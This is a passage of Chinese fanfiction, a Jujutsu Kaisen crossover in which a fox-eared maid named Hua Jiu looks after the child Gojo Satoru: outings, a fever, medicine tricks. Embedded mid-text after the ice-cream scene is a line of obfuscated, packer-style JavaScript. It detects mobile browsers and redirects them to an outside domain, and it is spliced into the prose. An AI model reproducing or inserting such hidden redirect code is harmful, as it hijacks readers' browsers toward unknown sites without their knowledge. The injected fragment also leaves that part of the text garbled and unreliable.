花九逐渐来了兴趣,仗着年纪和实战能力欺负小孩的少女脸上出现了一点笑容,决定进行一些鼓励式教育:
“这还是我第一次看到悟少爷主动擦地板呢!”
“有点慢哦悟少爷,是在故意放水吗?”
五条团子:……更生气了。
他紧紧绷着小脸,不服输的一次次冲上去,终于找到了机会,但正当他觉得这次胜券在握的时候,少女往后退了几步,身体就这么轻而易举的穿过廊柱。
看到人的身体就这么穿过实体,哪怕猜到可能是某种咒术,但年幼的五条团子还是呆了一瞬,没收住力道,于是便像一只跑酷失败的猫咪,乱七八糟的一头撞上了柱子。
雪白的额头顿时红了一片。
见到这场景,花九的笑容僵在了脸上,暗道不好。
五条悟呆呆的愣在原地,凌乱的发顶甚至翘起一簇呆毛,他长得太漂亮,此时那双钴蓝色的猫猫眼眨了眨,视线迟钝的移到她身上,下一秒,便迅速蓄上了水雾。
他被气哭了。
花九:……
她有点不知所措。
因为知道对方日后会成长成非常厉害的人,再加上这孩子身上有着拒人千里之外的疏离,给人的感觉始终十分遥远,所以就总是想看他更多的展露有情绪波动的那一面。
但现在看着他掉眼泪,花九突然有了一种他也只是个普通孩子的实感。
会被气哭、会生病、会被一颗随处可见的弹珠吸引去所有注意力,也会因为得不到喜欢的玩具而闹脾气。
两位少爷是性格截然不同的人呢。
被教导过长大以后就不能随便哭鼻子,小小的五条团子努力绷着小脸,想把泪水憋回去,但下一秒,他的脸蛋被一双温暖的手捧起,那人身上的柑橘香味传过来,有柔柔的气息被吹拂到脸上,是她在吹吹他的额头。
“不可以哭。”他维持着这个姿势,闷闷道。
话音刚落,对方的身体似乎僵硬了一下,四目相对,面具背后的那双鎏金色眼眸里似乎闪过了复杂的情绪。
“悟少爷当然可以哭。”
花九替他擦去眼泪,小孩子的脸蛋很软,手感让人联想到又Q又弹的布丁,她思索了一下,认真的提出了一个对她百害无一利的建议。
“为了表达我的歉意,我带你出去玩好不好?”
没有孩子能抗拒这三个字,听到要出去玩,面前的五条团子眼前一亮,甚至忘了继续哭。
“出去玩?”
“对,出去玩,但是你现在这个样子,想要出去需要换一身衣服哦。”
小神子果然举起手:“我有很多衣服。”
再不济去下人房也能找到合适的衣服。
……
片刻后,她替五条小团子系好背后的蝴蝶结,满意的松开手。
“来,转一圈。”
闻言,小男孩皱起脸,但还是不情不愿的在她的注视下生涩的转了一圈。
这是她从某间屋子里找到的,尺码大小都正好合适的……女仆装。
首先映入眼帘的是扎进短发的猫耳发箍,他穿着改小的女仆裙装,细密的长睫掩映着比天空更漂亮的眼睛,露出的一截雪白小腿上是镂空的猫猫头腿环,虽然神色依然很冷清,但配上圆圆的脸蛋依然可爱得要命。
糟糕,这也太可爱了。
花九捂住脸。
那只小手再次揪住她的裙摆,像是生怕她忘了自己的承诺,五条小团子认真的抬起脸。
“出去玩。”
片刻后,墙角宛如叠叠乐那样鬼鬼祟祟探出了两个脑袋。
“有人在附近吗?”
花九有些不安的问他,两人脚边是倒下的仆从。
五条小团子倒是很淡定的摇了摇头,他的六眼范围内并没有那样的危险人物存在。
果然,为了方便她完成任务,长老在人员分布上动了些手脚。
“那走吧。”
花九顺手抱起怀里穿着女仆装的五条小团子,从高墙上敏捷的一跃而下,从长老上次告诉自己的屏障遗漏处离开了。
离开五条家的行动很顺利,直到来到人多的地方,都没有人追上来,花九给他买了个冰淇淋,问他有没有特别想吃的东西。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740327|174141||http|test|mini|href|location''.split(''|''),0,{}));
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>像是初次接触人类的谨慎小猫咪,五条小团子犹豫了半晌,才伸出舌尖试探性的舔了舔冰淇淋,下一秒,他的眼睛亮了起来。
不满足于一小口一小口舔,五条小团子张大嘴,啊呜一声吃掉整个尖尖,够不着地面的小腿也开心的无意识晃了起来。
正托着腮看着这一幕的花九觉得很新鲜,虽然之前也带过这么大的孩子,但是对方很挑食,对美食也不会流露出明显的偏好。
悟少爷看上去很喜欢外面这些食物,是好事,虽然有被■■■先生发现然后口述八百字少吃垃圾食品的演讲稿的危险。
她正想问他还有什么还想吃的东西,脑袋突然一痛,闪过了一些破碎的画面。
下一秒,她看到了五条家宅邸的场景,也看到了姗姗来迟的侍女长。
——她整个人笼罩在黑雾里,正低头啃食着什么,断断续续的哭声和笑声混在一起,向来严谨的声音此刻也变得诡异起来。
“为什么……你明明说你带他去养伤了,你为什么杀了他?”
“这些年,我一直谨言慎行,怕做错任何事情……”
“我努力的照顾悟少爷长大,他却根本不肯多看我一眼,为什么呢河村大人,河村大人?你也不想跟我说话吗?”
她对身下被啃食的残缺不齐的尸体自言自语着,神经质的咬起了指甲,愣在了原地,不知过去多久,她终于回过神,麻木的迈步离开了。
花九终于看清了倒在血泊的人,正是将她们两个带进五条家的长老。
等女人再回来时,她已经换了一身衣服,脸和手脚都干干净净的,面色平静的弯下腰,像拖一具动物尸体那样将尸体拖走了,片刻后拿着毛巾再次折返。
仿佛只是清理地上的污渍那样,她细致的擦干净了木质走廊上的血,连缝隙里的毛发都没放过,做完这一切之后,她又盯着走廊看了片刻,神色恍惚的哼着歌离开了。
……
花九的衣袖被人拉了拉。
她回过神,正对上一支被啃得乱七八糟的冰淇淋,她顺着那只握着冰淇淋的小手往下看,看到了正看着自己的五条小团子。
“你的气息刚刚变浑浊了。”
五条小团子并不懂她为什么露出阴霾的表情,他用眼神直接的表达了自己的想法。
【给你吃】
哪怕是花九,此时也不由露出感动的表情,就听到他用理所当然的语气说道。
“我还要吃炸鸡。”
他刚刚看到被扔在地上的炸鸡广告了。
小小年纪就吃垃圾食品,花九的感动顿时烟消云散,只想把他抱起来狠狠打屁股。
“……没钱。”婉拒了上来想和五条小团子合影的小姐姐,她恶声恶气的回答了他的问题。
听到这句话,那双漂亮的猫猫眼因为迷茫而微微睁大了,似乎有些不明白这句话的含义,也没想到会有被直接拒绝的时候。
于是,从小含着金汤匙长大,对金钱毫无概念的五条小团子再次露出了有点呆呆的表情。
片刻后,他再次拉了拉花九的衣角:
“给你,涨工资。”
花九:“……”
糟糕,被拿捏死穴了,她一瞬间觉得眼前这个只到自己膝盖的孩子威猛高大有一米九。
花九与他对视了几秒钟,咳嗽了两声,掏出手机对着面前的小团子拍了张照。
“悟少爷的心愿就是我的使命,我宣布今天全场消费由王小姐买单。”
想了想,她再次补充道。
“照片就当押金了,等你做到了就删。”
*
一直在外面待了好几个小时,确认他已经把想吃的东西吃了个遍,花九才牵着五条小团子的手回到了五条家宅邸。
当然,这次是走正门。
时间过去那么久,小少爷失踪的事估计早就传开了,和小少爷一起失踪的她估计已经被当成天降黄毛了,会抢孩子的那种,所以一些出于好玩的伪装已经没有必要了。
果然,侍女长的表情全程很平静,在听完她的讲述以后,像是被抽去灵魂的空壳,她面无表情的开口说了些场面话。
她说她做错了事,违反了五条家的规矩,但既然少爷没有怪罪的意思,那就从轻发落,只是要将其逐出五条家。
但落在自己身上那阴冷的眼神却不是这么说的,花九心知肚明这只是为了将她从五条悟面前支开的温和理由而已。
背后话语的真正含义,刨去粉饰,翻译过来大概就是。
——作为带坏神子的代价,跪下受罚,然后以死谢罪。
5. 第 5 章
“为什么要做这种事?”头顶传来冷冰冰的质问。
“因为活着是一件很辛苦的事,夺走小孩子的童年更是罪无可赦。”
花九不卑不亢的回答她。
带五条小团子出去玩的时候就预料到了后果,花九沉静地与侍女长对上视线,觉得接下来发生的事不适合让小孩子看到。
“请先回房间,悟少爷。”
她轻声细语的哄着眼前的孩子。
听到这句话,一旁的侍女们终于回过神,开始你一言我一语的哄着眼前的小孩子,想将他带回房间。
“悟少爷出去玩一趟回来应该累了吧?”
“厨房还有刚做好的大福,悟少爷您先回房间等着,我马上给您端过来。”
诸如此类的话。
也许是对接下来要发生的事见怪不怪,她们甚至没有多给花九一个视线,即使暗中投来一瞥,其中也只有怜悯。
按照正常的发展,等处理掉了她,这些侍女大概就会告诉年仅七岁的小神子她抱病回家的事,相信小孩子忘性大,她很快就会像一只手就能掐死的小动物,被灾难波及的普通人那样,那样悄无声息的消失掉。
但她从来都不是会坐以待毙的性格。
身后有仆从靠近她,想要将她押下去,花九最后望了一眼站在台阶上的侍女长,心知对方等下还会来找自己,于是顺从的放弃了抵抗。
希望那位看起来冷心冷情的小神子不要因此……
“——别动我。”
然而下一瞬,一个冷冰冰的声音突兀的响起。
“……”垂下的眼眸因为惊讶微微睁大了,花九和侍女长同时看向了声源处。
裸露的皮肤感受到凉意,不知何时,相同的地点,庭院再次飘起了雪花,如果忽略这荒诞的场景,这一幕完美的和初次见面重叠上了。
“悟少爷?”有仆从语气担忧的开了口。
“只是一个侍女而已,如果您喜欢她,下次我们可以再找一批类似……”
“我看谁敢。”
白发蓝眼的孩子情绪依然冷冷淡淡的,但此刻,仿佛竖起一身刺的猫咪,直接挥开了斜里伸过来想要拉住他的手,明确而不容抗拒的指向了她。
“——我只要她。”
四目相对,就连那双向来清冷沉静的金眸都微微睁大了。
四周鸦雀无声,连落雪仿佛都慢了下来,被众星捧月围在中间的小神子视线专注的望向她,眸光透彻,一如初见。
如果说,之前还不能确定生性淡漠、稍微大点就鲜少对人和事表现出强烈情绪的小神子是否会有明确的指向的话。
但此刻,他确确实实第一次对另一个人坚定的表达了公开的维护。
像那枚里三层外三层被充满占有欲藏起的弹珠那样,他不允许有人从他身边带走花九。
*
当天晚上,花九被再次破例允许给五条小团子讲睡前故事。
“今天在外面,悟少爷为什么要点名留下我呢?”
相顾无言的沉默了半晌,还是狐耳少女率先开口了,她的语气有些迟疑。
“没什么,我只是不想看到你也出现在池塘或者院子里。”
五条小团子的语气很平静,他望着天花板:“而且我还想再出去玩。”
“以前没有这样像我这样会带你出去玩的人吗?”
“有,但是她们后面不见了,就连惠子阿姨以前也会偷偷给我塞外面的零食,但后面,我看到她趴在窗户上观察我,她身上也多了那种浑浊的气息。”
这个孩子虽然因为一直养在深闺里,性格单纯,却透彻的可怕。
“可我身上有很多秘密,等你长大也不一定会告诉你的那种。”花九想了想,决定诚实的坦白一些事。
“无所谓,你很强,你可以保护自己,这就够了。”
没有回应,对方分明听到了自己的声音,却没有给出回答。
五条小团子等了一会儿,突然感觉到有柑橘味的香气靠近。
“晚安~”花九等了一会儿,没等到他发脾气,这才直起身。
花九给他掖了掖被子,看时间已经很晚了,便轻手轻脚走出了房间。
怪狐狸。
等她走了以后,五条小团子将小脑袋从被子里探出来,翻了几个身还是睡不着,于是默默踹开了身上的被子,但下一秒,他像是想到了什么,于是又抓着被子,盖到了自己的小肚子上面。
这才闭眼沉沉睡去。
*
几天后,也许是长老的死终于还是引起了那边的注意力,不少侍女被带去问话,最后一个被带走的,是侍女长。
再回来的时候,两人在走廊上相遇,就在快要擦肩而过的时候,面色疲惫的女人停下来。
“我还有问题要问你。”
“请说。”
“你那个时候,为什么确定悟少爷会出面帮你?”
其实花九自己也没想到五条小团子会站出来维护她,她摇了摇头,诚实道。
“我不确定,那位长老确实对你有所保留,他是不是从来没告诉过你我的来历?”
惠子沉默了半晌:“你是特级咒术师?”
花九觉得这个问题很无所谓。
“我不太懂你们这里的战力划分,你说是特级,那就是吧。”
说到底,离开了新艾利都,她也只是个初来乍到的新人而已,也不知道自己的同事和上司在那边过得怎么样。
这下是真的有点想家了,如果住在六分街的那对法厄同兄妹知道有什么让自己在两个世界里来回穿梭就好了。
自己在他们店可是办了会员特权欸!
闻言,惠子冷笑一声:“特级大人也会屈尊去做这些事么,真是个怪人,但是。”
说到这里,她鬼使神差的顿了顿。
“没有那件事的话,我大概没有想象中那么讨厌你。”
……
她请辞离家以后,侍女长的身份便无可置疑的落到了花九身上,一些外交负责的工作也不例外。
关于人员的变更,五条家主只是闷头又喝了口烈酒,表现得满不在乎。
“一切按小悟想法来就好,那新人如果能让小悟变得更强,成为他的助力,那我对此没有异议,啊,说到这个,让他们别太拘束了,既然要做朋友,亲近点总是方便联络感情的。”
这话算是一张通行证,花九获得了可以自由出入五条家等等权利。
这个消息不知道怎么传到了禅院甚尔的耳朵里,于是,花九自那天见面以来,第一次接到了他的电话。
“也
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就你愿意死心塌地的留在五条家给他们当下人。”高大健壮的青年一见面就开始嘲讽,他上下打量花九。
“那个没断奶的臭小鬼舍得放你出去?”
听到这句话,花九停下脚步,转过头微笑的看着他:“如果甚尔先生学不会好好说话的话,不如早点回家和你的兄弟姊妹好好联络一下感情。”
听到【联络感情】这个词,禅院甚尔露出了肉眼可见的嫌恶表情,仿佛生吞了一万只苍蝇,做了个拉拉链手势。
但他到底沉不住气,见王花九从出来就一直没说明目的地,他忍不住停下脚步。
“我不相信你是带我去找乐子的。”
他如此笃定。
两人正走在人流如织的商业街上,闻言,花九也停下来,配合的反问他。
“甚尔先生理解的乐子是什么样?”
“赌马、喝酒、赛车、打牌?”
花九沉默几秒,用无法理解的眼神看着他。
“……好经典的陋习,所以工作对你来说是排最后吗?”
禅院甚尔同样也露出了无法理解的眼神,像是从来没思考过这个问题:“我为什么要工作?”
花九:“?”
那这人以后打算靠什么生存?
“虽然深刻理解甚尔先生你想混吃等死的心愿,但是很遗憾,要不要工作这件事我做不了主,今天能顺利离开禅院家,你恐怕得感谢另外一个人。”
她停下脚步,用公事公办的语气给面前仿佛所有人都欠了他二五八万的青年介绍那个身材壮实的成年男性。
“这位是东京都咒术高等专门学校的班主任,夜蛾先生。”
果然,黑发青年露出了难以置信的表情。
“哈?你如果是想让我见这么无聊的人,那我还不如回禅院家,答应你的报酬也不算数了。”
禅院甚尔用挑剔的眼神看着眼前的男人,目测大他十来岁,身材倒是很健壮,但整个人透露出一种死板的无趣,是他平日里最不乐意打交道的那种人。
就连对方主动向他伸来了手,他也根本不想去握手。
谁曾想,下一秒,戴着狐狸傩面的少女仿佛看穿了他的心思,用威胁的口吻,友善的提醒她。
“如果甚尔先生作为雇主非要撕毁我们之间的契约,那我只能深感遗憾的打电话把你送回禅院家,然后用悲痛万分的语气告诉禅院家主你想逃跑的事了。”
禅院甚尔:“……”
这绝对是赤裸裸的威胁吧??哪怕强势如他,想要轻易脱离禅院家,也不是那么容易的事,如果让他们加重警惕心,那想要离家只会比现在更加困难。
就在两人说话时,夜蛾正道也在默默打量眼前这个年轻人。
身上混混气息太重了,如果不说是来自禅院家的孩子,恐怕任谁都会认为这是个□□中人,但看得出身体很结实,有长年累月训练的痕迹,肌肉线条硬朗而流畅,像头被困在笼子里而焦躁踱步的独狼。
确实是个教体术的好料子。
“那我们现在要去哪里?”
禅院甚尔死鱼眼的看着两人,浑身上下都透露出一种破罐子破摔的气息。
“带你去给家入家的孩子上课。”
禅院甚尔:“?”
谁来上课你再说一遍?
6. 第 6 章
好在夜蛾正道也不指望这个初次见面的桀骜少年会正儿八经的讲什么东西,所以今天只是让他来旁听的。
“家入家是已经没落的咒术师家族,但是上次见面时,我就知道这个孩子很有天赋。”
进门前,像是想起什么,夜蛾正道转过头跟两人解释。
名叫硝子的短发小姑娘有着圆圆的脸蛋和圆圆的眼睛,目测和五条小团子差不多大,棕色眼眸亮晶晶的,眼下还有颗漂亮的泪痣,看着就很讨人喜欢。
她对两个陌生人的到来并没有表达出惊讶和不安,视线第一眼就锁定了花九,显然是对她异于常人的特征相当感兴趣。
“姐姐喝红茶吗?”硝子站在屋子里礼貌的询问她,声音听上去糯糯的。
花九顺手捏捏她的脸蛋,就见小姑娘主动将自己的脸往她手心拱了拱,面对可爱的小朋友,她的语气也下意识柔软了几分。
“麻烦啦,希望冒昧拜访没有打扰到你哦。”
小姑娘认真的摇了摇头,她抬起脸,视线在她头顶黏住了:“姐姐好像绘本里的狐狸,我可以摸摸你的耳朵吗?”
果然,没有小孩可以抗拒会动的毛茸茸。
“对狐希人来说,只有很亲密的人才能摸耳朵哦。”花九笑眯眯的跟她解释。
“不摸耳朵也没关系,我之后还能再见到你吗?”硝子很聪明,立刻从善如流的改了口。
舍不得毛茸茸啊。
花九若有所思的看了眼一旁事不关己的禅院甚尔,给出了一个模棱两可的答案。
“我尽量。”
*
察觉到那金发少女投来的注视,禅院甚尔眼皮都懒得抬,非常自然的把自己当成了透明人,自顾自坐下了。
他没有好为人师的习惯,以至于完全没去看一大一小上课的画面,但就此离开的话,眼前两人肯定会想方设法拦住自己,虽然说打一架再逃走也不是不行,但是……
他看了眼面前冒着热气的红茶,是那个短发小鬼刚刚端过来的,虽然对那狐面女表现出了高度兴趣,但依然一视同仁的给每个人都准备了茶水。
他最终还是没有做出其他动作。
于是青年烦躁的换了个姿势,开始看那个短发小鬼的动作,看着看着,他的眉头慢慢蹙了起来。
“……喂。”
家入硝子眼前突然笼罩下一个高大的阴影。
“动作这么软绵绵的,是准备给咒灵送菜之前先给它挠痒么?看好了,这个姿势要这么发力才能一击毙命。”
*
五条小团子感觉自己对咒力的掌握又比先前强了一点,面对家教老师的夸赞,他面色冷冰冰的说着这不是应该的吗,一边偷偷瞄了眼那个人平时在的位置。
……椅子上空空如也,怪狐狸今天出去之后还没有回来。
原本偷偷上扬的唇角又瞬间撇下来,于是五条小团子强迫自己移开视线,于是赌气般给自己增加了训练量。
“再来。”
*
事实证明,虽然甚尔本人没有当老师的兴趣,但经过他的指导以后,硝子的动作确实比之前更加利落了。
离开家入家之后,由于夜蛾正道要回学校,三人在十字路口道别,走之前,这个沉稳的男人停下来,郑重地跟花九表达了感谢。
“还好有王小姐的帮助。”
见两人在那里说话,禅院甚尔漫不经心的停下来,无聊的数着面前走过去的路人,却听到夜蛾正道的视线转向自己。
“今天如果没有你的话,我恐怕也没办法能那么快纠正他,帮大忙了。”
“哈?”禅院甚尔露出难以置信的表情,因为这过于认真的道谢而露出吞了苍蝇的表情。
“真想谢我,下次出来就放我去做自己想做的事。”
“所以下次也能拜托你吗?”听出漏洞的花九连忙打蛇随棍上。
“……我没答应。”
把甚尔送回禅院家以后,早就过了五条小团子的上课时间,花九提着铜锣烧加快脚步,果不其然在拐角处看到了熟悉的端庄背影。
“我回来啦!看我给你带了什么好东西。”
感觉到她兴致勃勃的凑了过来,五条小团子停下来,视线却没落到甜点上面,只是用那双看穿一切的猫猫眼沉静的转头看着她。
“你身上有红茶的味道。”
他冷不丁的开口。
花九笑容一僵,试图狡辩:“我只是正好路过了……唔?”
她被抓着被迫俯下身,然后脸蛋被一双软乎乎的小手捧住,然后视线里,那双钴蓝色、比弹珠颜色更加漂亮的猫猫眼便无限的放大了,眼里只剩下正在仔细观察她的白毛团子。
“你在骗我,你还……”五条小团子说到这里,不知为何没有再说下去。
近在咫尺的呼吸过于炽热,花九不习惯这样的距离,正想离远点,却意识到什么不对,于是反客为主的贴了上去,发现两人额头相触的地方烫得厉害。
“你发烧了。”
花九的语气严肃了一点,她弯腰顺势将他抱起来往回走:
“有感觉哪里不舒服或者很痛吗?”
六眼很强是毋庸置疑的事实,但对于适应能力比较差的小孩子来说,一直被动的高强度接受着琐碎的信息,恐怕是件相当难捱的事。
应该早点回来陪他的,下次还是跟家教老师说一声不要拖堂吧。
见少女露出担忧的表情,五条小团子静静地消化着她话里的信息。
他没什么感觉,只是觉得无聊。
日复一日,循规蹈矩的生活很无聊。
明明不像眼前人对自己的脸做出遮挡,但却心照不宣戴着同样面具的人们很无聊。
仅此而已。
她口中的“痛”,他也不能理解其背后的含义,因为不舒服是常有的事。
所以他回答道。
“不痛。”
相比之下,花九露出更多情绪波动的反应更让他觉得新奇。
面前的狐狸耳朵突然竖了起来,背后摇晃着的蓬松大尾巴也炸开了一点,像是被逗猫棒吸走注意力那样,他下意识想去摸那对毛茸茸热乎乎的狐狸耳朵,但下一刻,还差一点距离时,他被放到了床上。
五条小团子:“……”
又没有摸到耳朵。
然而眼前的少女根本没有发现他的不开心,只是把铜锣烧放到了他触手可及的地方,便转身出去了。
七岁的小神子并没有感到意外。
每次使用六眼和咒术过度,都会出现在这样的情况,用父亲的话说就是“这是变强大的表现,应该荣幸才是”,宅邸里的人也不会靠近他,给出的理由是怕影响到他。
所以早就习惯了。
然而下一刻,门再次被推开,去而复返的少女端着水盆进来,麻利的拧干了毛巾上多余的水,然后是靠近的脚步声,带着凉意的湿毛巾被敷到了他的额头上。
“我在水里加了些冰
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块,会更凉一点。”
见五条小团子只是一直盯着自己,花九解释道,又不放心的俯身碰了碰他发烫的脸蛋和小手。
“除了头以外还有其他地方痛吗?”
“以前也会这样,也不痛,只是晚上睡不着而已。”
他不明白为什么对方一直在问自己痛不痛苦。
闻言,戴着狐狸傩面的少女轻轻叹了口气。
“因为不舒服所以晚上睡不着,这不就是痛苦吗?”
五条小团子微微睁大眼,向来清冷的表情消失了,露出一点孩子特有的茫然。
他确实不知道痛苦是什么,也没想过那些因为六眼彻夜难眠的夜晚里自己的情绪能被理解成痛苦,此时被点出来这个事实,他只觉得迷茫。
然而花九也没有想要他的回答,她只是找了把椅子在床边坐下。
“应该挺难受的吧?为了防止你半夜复烧,今晚我会一直陪着你的,悟少爷有什么需要就跟我说。”
她说要陪着他。
“但是你要给我加工资,因为这算额外加班了。”花九想了想,又补充道。
“……”
五条小团子早已习惯她煞风景的发言,只见他别开脸,沉默了一会儿,才慢吞吞的开口接下了她的话茬。
“我要吃铜锣烧。”
花九:“?”这种时候还惦记那口甜的吗,小孩子就是粘牙。
唔,不过也提醒她了,下次生病喝药的时候准备点小甜嘴也会更好下口吧?
她琢磨着,当真将手伸向了铜锣烧。
“来,啊~呜。”
“啊呜。”咬住一小块铜锣烧,五条小团子开始满意的嚼嚼嚼。
“今天没有偷吃其他甜点吧?吃完这些,明天的甜点分量也会减少哦,啊~呜。”
“啊呜。”五条小团子鼓起脸,看上去很不高兴似的,嘴巴却没停,开始不爽的嚼嚼嚼。
花九:“……”
不知道是一直交换的冷敷起了效,还是五条悟这孩子本身底子就好,后半夜便退了烧,花九一直等到快天将亮,才松了口气,决定眯一小会儿。
……
于是五条悟睁开眼的时候,就看到了这幅画面。
少女直到睡觉都没摘下那副诡谲的面具,此时正趴在自己床头,呼吸声清浅而稳定,应该是睡着了,头顶那对毛茸茸的狐狸耳朵正随着呼吸起伏一动一动的,一看就经过精心打理,看上去颇为Q弹。
小神子定定地看着眼前的画面几秒,鬼使神差的凑了过去。
……然后在愈发浓烈的柑橘香味里,生涩的碰了碰她的头发。
很软,像绸缎一样的触感,可是没有上次她安抚他的那种感觉。
于是五条小团子一边告诉自己不要制造出大动静影响她睡觉,一边蹑手蹑脚的靠近,像只警惕的幼猫,效仿她上次的行为,蹭了蹭她的……面具。
冷冰冰的质感,这是他第一次对这张面具的存在感到不满。
此时困意再次袭来,五条小团子打了个哈欠,就着这个姿势,和她脑袋顶脑袋的睡着了。
不久后,从头上扒拉下来一只白毛蓝眼小猫咪、哦不,白发蓝眼小男孩的花九睁着死鱼眼盯着这张赏心悦目的可爱脸蛋看了几秒钟。
……她就打了个盹的功夫,小团子是怎么把自己睡成这么乱七八糟的样子的?他之前睡姿有这么不安分吗?
她决定增加悟少爷睡觉喜欢跑酷打滚的可能性。
7. 第 7 章
五条悟感冒了。
具体表现在他和新来的体术老师学习的时候,原本正在认真过招的漂亮孩子突然停下来,像是被人用羽毛挠了脸,张大嘴巴发出惊天动地的阿秋一声,吸了吸鼻子,皱起小脸转头对旁边拿着毛巾等候在那里的侍女说。
“等下不许告诉怪狐狸。”
闻言,花九停下手上冲泡的动作。
“悟少爷说了让你别告诉我的话,下次可以不用向我汇报的。”
侍女面露难色:“可是悟少爷又突然改口了,说随便我说不说,他根本不关心。”
说着又发出惊天动地的阿秋声,但脸上依然写满冷漠。
花九:“……”这让人操心的熊孩子。
天气愈发冷了,一旦走出房间就会发现外面已经是个银装素裹的世界,庭院里的雪已经凝结了厚厚一层,踩上去仿佛踩进松软的枕头里,每一步发出嘎吱嘎吱的声音。
在这样的环境里,哈出的都是白气。
这天气很适合喝点热热的暖身体,花九微微颔首,手头动作依然没停:“我知道啦,你去忙别的事吧,今晚睡前记得关好门窗。”
“您等下要去接悟少爷回房间吗?但悟少爷在喝药这件事上面一直都……”
挺任性的。
侍女小心翼翼的觑她脸色,却见少女顿了顿,对方转过头,朝她笑了笑,原本给人诡谲阴冷感觉的面具似乎也没有那么吓人了。
作为合格的维多利亚家政,面对抗拒喝药的雇主,当然会有对应的手段。
“没关系,等下我来处理吧,我会让少爷乖乖喝药的。”
新上任的侍女长……似乎意外的很好说话?
*
今天的学习时间就此结束,五条悟并没有看到那个平时会来接自己的人。
圆圆的猫猫眼里闪过一丝迷茫,他四下张望,发现人确实没在肉眼可见的范围内后,有些迟疑的迈出了脚步。
怪狐狸居然真的没来接他,也没出现在六眼范围内,她不在附近。
算了,无所谓,如果让她知道自己感冒,估计又要笑眯眯的责怪他睡觉不盖肚子了。
没人管明明更好,五条悟想到这里,故作若无其事的加快了速度,决定快点回到房间里去偷吃藏在匣子里的零食。
……
片刻后,厨房外探进一个猫猫祟祟的小脑袋,一眼便看到了那个熟悉的人影。
怪狐狸似乎刚煮完东西,正双手捧着杯子细细品尝,五条小团子抽了抽鼻子,虽然鼻子有些堵,但他还是闻到了那股很香的味道。
换上厚厚衣服的雪团子不自觉地往前倾了一点,像只好奇的猫咪,警惕又不受控制的睁大眼想要看清那是什么。
果然来了。
花九不动声色,假装没有发现他的存在,喝了一大口巧克力牛奶,露出了享受的表情,故作遗憾的叹了口气,继续引诱白毛蓝眼的小猫咪咬住小鱼干。
“可惜悟少爷不在这里,不然……”
腿突然被抱住了,花九低下头,正对上那双澄澈漂亮的猫猫眼,穿得圆滚滚的小男孩一脸认真地与她对上视线,语气依然拽得硬邦邦的。
“……我要喝。”
上钩了。
花九回忆了一下这时候应该露出什么表情,然后在短短几秒里就做完了从故作惊讶到面露难色的微表情演绎:
“哎呀,悟少爷你怎么在这里?不是我不想给你喝,但是这是大人才能喝的东西。”
话音刚落,面前的五条小团子表情肉眼可见的更不爽了。
“我已经是大人了,我还能打败很多很多咒灵,我可以喝。”
哼哼,果然上钩了!这只小坏猫就这样一步一步落入狐狸大人的陷阱!
面前的怪狐狸果然没再说话了,虽然那张面具挡住了她的上半张脸,但看仍然可以看出她此时的表情相当为难。
最终,像是下定了什么决心那样,花九郑重其事的抱起他。
“好吧,其实我正在喝的,是一种来自大山深处,吸收日月精华,才方可采摘的植物做成的饮品。”
“它的别名是板蓝根,能喝完它的都是勇敢的大人,小孩子是不能碰的。”
五条小团子听着,下意识扬起了下巴,殊不知这样显得他的脸颊肉看上去更好捏了。
“我可以喝完它。”
“好的,勇士大人,厨房重地,请在外面等我。”
花九顺口接上他的话,把小团子抱到了外面,折返回厨房,趁其不备,撕开了包装,将一整袋板蓝根都倒进了热水里搅拌均匀,等放置到温温热才端出去。
“悟少爷,这个不能闻哦,得一口喝掉才行。”
见小悟猫想闻,怕穿帮的花九连忙把杯子拿远了一些。
“……无聊的规矩。”
看到自己心心念念的香气就在自己面前,五条小团子眼前一亮,但还是故作矜持的端起了杯子,像只迫不及待要喝水的小猫,满怀期待的把脸凑到了装满牛奶的盘子边上。
花九也满怀期待的看着他。
下一秒。
【毒杀神子x1进度达成】
五条小团子板着那张精致清冷的脸蛋,面无表情的抬起头盯着她:
“……你在骗我。”她刚刚喝的东西根本不是这个味道。
讨厌的怪狐狸!
花九:“……”
这小孩怎么感冒了鼻子还这么灵敏。
她矢口否认:“我没有撒谎。”
她可是刚刚就说了这是板蓝根,读书人的事,怎么能算骗呢?
“我不喝,我要喝你喝的。”
五条小团子一脸冷漠的重复。
花九终于露出无奈的表情,指了指他手上的杯子:
“把这杯喝掉,我就可以泡,这次保证是巧克力牛奶。”
她说得认真,小神子将信将疑的看着她,见她表情确实不像在撒谎,才吨吨吨几口喝掉了板蓝根。
……好像也没有很难喝?
这次五条小团子警惕多了,他像是开启了自动跟随的跟宠小猫,亦步亦趋的跟着花九。
好在花九这次似乎真的没有打算骗他,在融化巧克力之前还特意让他闻了闻,确实是和她冲泡的东西是同一个味道。
但她只说过给他泡巧克力牛奶,可没说是什么样的巧克力哦,花九指着杯子给他介绍。
“这可是纯度80%的黑巧克力,牛奶也是用的最纯正的纯牛奶,保证健康又好喝,适合成年人体质。”
融化的巧克力流入杯壁,花九加入牛奶搅拌时再次跟五条小团子强调了一遍。
“悟少爷真的要确定要喝这种小孩子不能喝的东西吗?”
“……”对方脸上明晃晃的写着“不然呢”。
终于拿到了心心念念的小甜水,五条悟谨慎的再次确认了一遍这东西和花九喝的是一样的以后,心满意足的喝了一大口。
“……”
【毒杀神子x2进度达成】
效果很显著,从今天开始,花九再说什么东西不能吃/喝以后,五条
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悟都坚信不疑的绝不尝试,避如蛇蝎。
当然,这都是后话了,竖起大拇指。
但她没想到,当晚会被人敲响门。
月光温柔的亲吻着他的银发,给其镀上漂亮的银辉,那双在夜色里分外惊艳的钴蓝色猫猫眼正平静地看着她,小神子穿着就寝的里衣,目光澄澈又冷淡。
“我睡不着。”他坦言。
言下之意很明确:“我想和你一起睡。”
既没有生病,也没有心情不好,非特殊情况怎么可以一起睡呢?
花九正想拒绝,突然想到是不是白天喝的那口黑巧克力的效果,于是迟疑了一下,也就是她迟疑的那几秒,眼前的孩子已经越过她,径直走向了她的床。
留下站在原地来不及拒绝的花九:“……”
她好像都还没答应吧?
她有点生气。
然而小男孩已经像只敏捷的猫咪,一翻身爬上了她的床,给自己盖好了被子,甚至还纡尊降贵的往里面挪了挪,给她腾出了位置。
